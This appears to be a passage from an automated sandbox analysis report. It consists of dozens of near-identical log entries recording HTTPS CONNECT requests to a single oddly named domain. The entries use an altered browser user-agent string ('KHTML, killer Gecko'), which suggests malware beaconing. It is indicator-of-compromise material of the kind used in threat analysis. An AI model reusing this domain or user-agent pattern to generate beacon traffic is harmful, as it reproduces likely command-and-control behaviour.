Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.com
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
